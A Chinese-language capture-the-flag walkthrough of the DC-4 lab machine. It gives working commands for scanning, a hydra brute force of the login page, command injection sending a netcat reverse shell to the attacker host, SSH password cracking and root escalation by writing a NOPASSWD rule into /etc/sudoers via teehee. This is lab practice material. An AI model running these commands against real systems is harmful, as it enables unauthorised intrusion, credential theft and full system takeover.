靶机：DC-4

一、信息收集

1、主机发现

nmap 192.168.236.0/24

2、端口扫描

nmap 192.168.236.175 -p- -A

3、目录扫描

dirb http://192.168.236.175

二、漏洞探测

访问80端口，发现登录页面

尝试爆破密码

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.236.175 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
 
http-post-form：指定使用 HTTP POST 请求方式。
"/login.php:username=^USER^&password=^PASS^:S=logout"：指定登录页面地址 /login.php，并使用 username 和 password 作为参数名来传递用户名和密码。其中 ^USER^ 和 ^PASS^ 含义为在暴力破解过程之中将要用到的用户名和密码，而 :S=logout 则是指当程序返回值为 logout 时，认为破解成功并退出程序。
-F：如果成功的话，停止猜测其他密码。

登录

admin:happy

bp抓包，是命令执行

查看 /etc/passwd 文件

三、GetShell

反弹shell

radio=nc+-e/bin/bash+192.168.236.137+4444&submit=Run
nc -lvvp 4444

四、提权

切换为交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo -l 看一下，不知道密码

在 jim 用户下发现密码文件

下载到本地

python3 -m http.server
wget http://192.168.236.175:8000/old-passwords.bak

使用 hydra 破解

hydra -L users.txt -P old-passwords.bak ssh://192.168.236.175
 
jim:jibril04

ssh 连接

ssh jim@192.168.236.175

在 /var/mail 下有一封信，发现 charles 用户的密码

charles:^xHhA&hvim0y

切换用户

查看具有 root 权限的命令

sudo -l

teehee是个小众的linux编辑器，执行以下命令，成功提权

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
sudo su

查看flag